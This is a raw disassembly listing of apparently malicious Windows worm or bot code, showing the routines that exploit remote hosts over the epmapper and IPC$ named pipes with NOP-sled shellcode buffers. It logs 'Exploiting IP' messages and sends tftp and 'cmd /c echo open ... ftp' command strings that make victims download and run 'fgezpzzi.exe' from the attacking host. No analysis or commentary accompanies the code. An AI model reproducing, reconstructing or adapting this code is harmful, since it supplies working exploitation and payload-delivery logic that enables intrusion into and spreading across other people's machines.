push eax ; Dest
call _wcscat
lea eax, [ebp+var_C]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
add esp, 10h
loc_40DCD2: ; CODE XREF: sub_40DC41+AFj
push esi
lea eax, [ebp+Dest]
push esi
push eax
call dword_4CB90C
test eax, eax
jz short loc_40DCF2
push 7D0h
call ds:dword_427080 ; Sleep
jmp short loc_40DCD2
; ---------------------------------------------------------------------------
loc_40DCF2: ; CODE XREF: sub_40DC41+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_40DC41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCF9 proc near ; CODE XREF: .text:0040DFF5p
; .text:0040E133p
Src = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
Dst = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call __alloca_probe
push esi
push edi
push offset Str ; "fgezpzzi.exe"
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AA06
pop ecx
push eax ; Str
lea eax, [ebp+Src]
push 1000h ; int
push eax ; Dst
call sub_40B22B
mov edi, eax
add esp, 10h
test edi, edi
jz loc_40DF48
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h ; Size
lea eax, [ebp+var_2004]
push ebx ; Src
push eax ; Dst
call _memcpy
push esi ; Size
lea eax, [ebp+Dst]
push 0FFFFFF90h ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Src]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_1F2D]
push eax ; Dst
call _memcpy
add esp, 24h
lea esi, [edi+0D7h]
loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_40DDCE
mov esi, [ebp+var_4]
push 30h ; Size
lea eax, [ebp+var_2004]
inc esi
push ebx ; Src
push eax ; Dst
mov [ebp+var_4], esi
call _memcpy
push esi ; Size
lea eax, [ebp+Dst]
push 0FFFFFF90h ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Src]
push edi ; Size
push eax ; Src
lea eax, [ebp+esi+Dst]
push eax ; Dst
call _memcpy
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_40DD7E
; ---------------------------------------------------------------------------
loc_40DDCE: ; CODE XREF: sub_40DCF9+90j
cmp [ebp+arg_C4], 0
jz short loc_40DDE9
cmp [ebp+arg_C0], 3
jz short loc_40DDF2
cmp [ebp+arg_C0], 0
jmp short loc_40DDF0
; ---------------------------------------------------------------------------
loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj
cmp [ebp+arg_C0], 3
loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj
jnz short loc_40DDFB
loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j
push 4
push offset dword_43293C
jmp short loc_40DE02
; ---------------------------------------------------------------------------
loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j
push 4 ; Size
push offset dword_432938 ; Src
loc_40DE02: ; CODE XREF: sub_40DCF9+100j
lea eax, [ebp+var_1FE0]
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h ; Size
push offset dword_432470 ; Src
push eax ; Dst
call _memcpy
push 10h ; Size
lea eax, [ebp+var_CA4]
push offset dword_4327D4 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_2004]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_C94]
push eax ; Dst
call _memcpy
lea edi, [esi+370h]
push 3Ch ; Size
push offset off_4327E8 ; Src
lea eax, [ebp+edi+var_1004]
push eax ; Dst
call _memcpy
add edi, 3Ch
push 30h ; Size
push offset dword_432828 ; Src
lea eax, [ebp+edi+var_1004]
push eax ; Dst
call _memcpy
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi ; Size
mov [ebp+var_E78], eax
call _malloc
add esp, 40h
mov ebx, eax
push esi ; Size
push 0 ; Val
push ebx ; Dst
call _memset
lea eax, [ebp+var_1004]
push edi ; Size
push eax ; Src
push ebx ; Dst
call _memcpy
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej
pop edi
pop esi
leave
retn
sub_40DCF9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1338h
call __alloca_probe
cmp dword ptr [ebp+0A8h], 1BDh
push ebx
push esi
push edi
jnz loc_40E0BA
lea eax, [ebp-34h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40DB5E
pop ecx
test eax, eax
pop ecx
jz loc_40E1CA
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-338h]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call _sprintf
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp-338h]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call ds:dword_4270F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DFD1
loc_40DFC2: ; CODE XREF: .text:0040E072j
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
pop ecx
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40DFD1: ; CODE XREF: .text:0040DFC0j
lea eax, [ebp+0Ch]
push 2
push eax
call sub_4182CD
pop ecx
lea esi, [ebp+8]
pop ecx
push 1
push eax
lea eax, [ebp-10h]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
add esp, 0C8h
cmp eax, ebx
mov [ebp-8], eax
jz short loc_40E069
mov edi, 186A0h
push edi
call _malloc
mov esi, eax
push edi
push ebx
push esi
call _memset
add esp, 10h
lea eax, [ebp-0Ch]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_432424
push dword ptr [ebp-4]
call ds:dword_4270F4 ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_40E059
lea eax, [ebp-14h]
push ebx
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call ds:dword_4270F0 ; WriteFile
test eax, eax
jnz short loc_40E077
loc_40E059: ; CODE XREF: .text:0040E03Fj
push esi
call sub_41BA91
push dword ptr [ebp-8]
call sub_41BA91
pop ecx
pop ecx
loc_40E069: ; CODE XREF: .text:0040E005j
push dword ptr [ebp-4]
call ds:dword_427070 ; CloseHandle
jmp loc_40DFC2
; ---------------------------------------------------------------------------
loc_40E077: ; CODE XREF: .text:0040E057j
lea eax, [ebp-0Ch]
push ebx
push eax
push edi
push esi
push dword ptr [ebp-4]
call ds:dword_4270EC ; ReadFile
push dword ptr [ebp-8]
mov edi, eax
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_427070 ; CloseHandle
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
cmp edi, 1
pop ecx
jnz loc_40E1DE
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40E0BA: ; CODE XREF: .text:0040DF66j
lea eax, [ebp+0Ch]
push 1
push eax
call sub_4182CD
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40E1CA
xor ebx, ebx
push ebx
push 1
push 2
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40E1CA
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call _memset
add esp, 0Ch
mov word ptr [ebp-24h], 2
push dword ptr [ebp+0A8h]
call dword_4CB9D4 ; htons
mov [ebp-22h], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14 ; inet_addr
mov [ebp-20h], eax
push ebx
lea eax, [ebp-0Ch]
push esi
push eax
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40E14C
push dword ptr [ebp-4]
jmp short loc_40E1C4
; ---------------------------------------------------------------------------
loc_40E14C: ; CODE XREF: .text:0040E145j
mov edi, [ebp-4]
lea eax, [ebp-24h]
push 10h
push eax
push edi
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40E164
loc_40E161: ; CODE XREF: .text:0040E176j
push esi
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E164: ; CODE XREF: .text:0040E15Fj
push ebx
push 48h
push offset dword_432424
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E161
mov esi, 1000h
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push ebx
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E1A5
push dword ptr [ebp-8]
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E1A5: ; CODE XREF: .text:0040E19Ej
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push dword ptr [ebp-8]
cmp eax, 0FFFFFFFFh
jnz short loc_40E1D1
loc_40E1BD: ; CODE XREF: .text:0040E162j
; .text:0040E1A3j
call sub_41BA91
pop ecx
push edi
loc_40E1C4: ; CODE XREF: .text:0040E14Aj
call dword_4CBA6C ; closesocket
loc_40E1CA: ; CODE XREF: .text:0040DF7Dj
; .text:0040DFCCj ...
xor eax, eax
jmp loc_40E28D
; ---------------------------------------------------------------------------
loc_40E1D1: ; CODE XREF: .text:0040E1BBj
call sub_41BA91
pop ecx
push edi
call dword_4CBA6C ; closesocket
loc_40E1DE: ; CODE XREF: .text:0040E0AFj
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-234h]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax
call _sprintf
add esp, 0Ch
xor esi, esi
loc_40E1F8: ; CODE XREF: .text:0040E218j
lea eax, [ebp-234h]
push eax
call sub_415E19
test eax, eax
pop ecx
jnz short loc_40E21C
push 1388h
call ds:dword_427080 ; Sleep
inc esi
cmp esi, 6
jl short loc_40E1F8
jmp short loc_40E28A
; ---------------------------------------------------------------------------
loc_40E21C: ; CODE XREF: .text:0040E207j
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
lea eax, [ebp-234h]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax
call _sprintf
add esp, 10h
cmp [ebp+0BCh], ebx
jnz short loc_40E268
push ebx
lea eax, [ebp-234h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
add esp, 14h
loc_40E268: ; CODE XREF: .text:0040E249j
lea eax, [ebp-234h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40E28A: ; CODE XREF: .text:0040E21Aj
push 1
pop eax
loc_40E28D: ; CODE XREF: .text:0040E1CCj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap
var_5A0 = byte ptr -5A0h
Dest = byte ptr -1A0h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+Dst], 2
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_C], eax
mov ax, word_433290
push eax
call dword_4CB9D4 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E3CA
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40E3CA
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9EC ; recv
mov edi, offset Str ; "fgezpzzi.exe"
push edi
push edi
push [ebp+arg_0]
call sub_40AA06
pop ecx
mov esi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
push dword_4CB710
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E3CA
push 1F4h
call ds:dword_427080 ; Sleep
push edi
push offset aS ; "%s\r\n"
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E3CE
loc_40E3CA: ; CODE XREF: sub_40E292+51j
; sub_40E292+67j ...
xor al, al
jmp short loc_40E3EC
; ---------------------------------------------------------------------------
loc_40E3CE: ; CODE XREF: sub_40E292+136j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9EC ; recv
push ebx
call dword_4CBA6C ; closesocket
mov al, 1
loc_40E3EC: ; CODE XREF: sub_40E292+13Aj
pop edi
pop esi
pop ebx
leave
retn
sub_40E292 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E3F1 proc near ; CODE XREF: .text:0040E946p
; .text:0040E968p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
Dst = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
Src = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
Str = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call __alloca_probe
mov eax, dword_43341C
push ebx
mov [ebp+var_10], eax
mov eax, dword_433420
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+Str]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax ; Dest
call _sprintf
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_40E430: ; CODE XREF: sub_40E3F1+4Ej
mov cl, [ebp+esi+Str]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40E430
push 60h ; Size
lea eax, [ebp+var_B4]
push offset dword_432EA0 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
shl eax, 1
push eax ; Size
lea eax, [ebp+Src]
push eax ; Src
lea eax, [ebp+var_84]
push eax ; Dst
call _memcpy
add esp, 1Ch
lea eax, [ebp+Str]
push 9 ; Size
push (offset aC_3+3) ; Src
push eax ; Str
call _strlen
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
add al, 1Ah
push 1 ; Size
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax ; Src
lea eax, [ebp+var_B1]
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
shl al, 1
add al, 9
push 1 ; Size
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax ; Src
lea eax, [ebp+var_87]
push eax ; Dst
call _memcpy
mov ax, word_433290
add esp, 2Ch
push eax
call dword_4CB9D4 ; htons
xor eax, 9999h
push 2 ; Size
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax ; Src
push offset dword_432BA0 ; Dst
call _memcpy
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_40E5ED
mov edi, 0DACh
lea eax, [ebp+Dst]
push edi ; Size
push 90h ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_C0]
push 4 ; Size
imul eax, 3Ch
lea eax, dword_4332D0[eax]
mov [ebp+var_14], eax
push eax ; Src
lea eax, [ebp+var_14E0]
push eax ; Dst
call _memcpy
mov esi, offset aI_1 ; "ë"
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_14D0]
push esi ; Src
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_11AC]
push offset dword_433408 ; Src
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_11A8]
push [ebp+var_14] ; Src
push eax ; Dst
call _memcpy
add esp, 40h
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_119C]
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j
mov cl, [ebp+esi+Dst]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_40E5A6
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi ; Size
push 31h ; Val
push eax ; Dst
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call _memset
push esi ; Size
lea eax, [ebp+var_68DC]
push 31h ; Val
push eax ; Dst
call _memset
add esp, 18h
jmp short loc_40E644
; ---------------------------------------------------------------------------
loc_40E5ED: ; CODE XREF: sub_40E3F1+118j
push 7D0h ; Size
lea eax, [ebp+var_F14]
push 90h ; Val
push eax ; Dst
call _memset
mov esi, offset aI_1 ; "ë"
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_E74]
push esi ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_10]
push eax ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_10]
push eax ; Src
lea eax, [ebp+var_758]
push eax ; Dst
call _memcpy
mov eax, dword_4332D0
add esp, 2Ch
mov [ebp+var_768], eax
loc_40E644: ; CODE XREF: sub_40E3F1+1FAj
push 0E29h ; Size
lea eax, [ebp+var_2CA8]
push 31h ; Val
push eax ; Dst
call _memset
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E683
loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j
; sub_40E3F1+2E0j ...
xor al, al
jmp loc_40E82B
; ---------------------------------------------------------------------------
loc_40E683: ; CODE XREF: sub_40E3F1+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push ebx
push 68h
push offset dword_432F04
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push ebx
push 0A0h
push offset dword_432F70
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC ; recv
cmp [ebp+arg_C0], ebx
jz loc_40E799
push 68h ; Size
lea eax, [ebp+var_89B4]
push offset dword_433128 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_4804]
push 1B5Ah ; Size
push eax ; Src
lea eax, [ebp+var_894C]
push eax ; Dst
call _memcpy
push 70h ; Size
lea eax, [ebp+var_68DC]
push offset dword_433194 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_3770]
push 0A5Eh ; Size
push eax ; Src
lea eax, [ebp+var_686C]
push eax ; Dst
call _memcpy
push 84h ; Size
lea eax, [ebp+var_5DA8]
push offset dword_433208 ; Src
push eax ; Dst
call _memcpy
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_40E7EF
; ---------------------------------------------------------------------------
loc_40E799: ; CODE XREF: sub_40E3F1+2F8j
push 7Ch ; Size
lea eax, [ebp+var_2CA8]
push offset dword_433014 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_F14]
push 7D0h ; Size
push eax ; Src
lea eax, [ebp+var_2C2C]
push eax ; Dst
call _memcpy
push 90h ; Size
lea eax, [ebp+var_245C]
push offset off_433094 ; Src
push eax ; Dst
call _memcpy
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j
push eax
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push 12Ch
call ds:dword_427080 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E292
add esp, 0BCh
test al, al
setnz al
loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40E3F1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call _memset
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call dword_4CBA14 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call dword_4CB9D4 ; htons
push 6
push 1
push 2
mov [ebp-12h], ax
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E929
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40E929
push edi
push 89h
push offset dword_432C88
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E929
mov esi, 640h
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC ; recv
push edi
push 0A8h
push offset dword_432D14
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC ; recv
push edi
push 0DEh
push offset dword_432DC0
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC ; recv
movsx eax, byte ptr [ebp-810h]
sub eax, 30h
jz short loc_40E933
dec eax
jz short loc_40E930
loc_40E929: ; CODE XREF: .text:0040E884j
; .text:0040E89Aj ...
xor eax, eax
jmp loc_40E9F6
; ---------------------------------------------------------------------------
loc_40E930: ; CODE XREF: .text:0040E927j
push edi
jmp short loc_40E957
; ---------------------------------------------------------------------------
loc_40E933: ; CODE XREF: .text:0040E924j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jnz short loc_40E977
push 1
loc_40E957: ; CODE XREF: .text:0040E931j
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jz short loc_40E97E
loc_40E977: ; CODE XREF: .text:0040E953j
mov dword ptr [ebp-4], 1
loc_40E97E: ; CODE XREF: .text:0040E975j
push ebx
call dword_4CBA6C ; closesocket
cmp dword ptr [ebp-4], 0
jz short loc_40E9F3
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-214h]
push 200h
push eax
call __snprintf
push 0
lea eax, [ebp-214h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-214h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 2Ch
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40E9F3: ; CODE XREF: .text:0040E989j
push 1
pop eax
loc_40E9F6: ; CODE XREF: .text:0040E92Bj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p
var_5A0 = byte ptr -5A0h
Dest = byte ptr -1A0h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+Dst], 2
push eax
call ds:dword_4271F0 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_4271F4 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_427204 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40EAC9
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call ds:dword_4271F8 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40EAC9
mov edi, 400h
push esi
mov esi, ds:dword_4271FC
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset Str ; "fgezpzzi.exe"
push eax
push eax
push dword_4CB710
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+Dest]
push 190h ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push ebx
call ds:dword_427208 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40EACD
loc_40EAC9: ; CODE XREF: sub_40E9FB+50j
; sub_40E9FB+62j
xor eax, eax
jmp short loc_40EAE4
; ---------------------------------------------------------------------------
loc_40EACD: ; CODE XREF: sub_40E9FB+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call ds:dword_427200 ; closesocket
push 1
pop eax
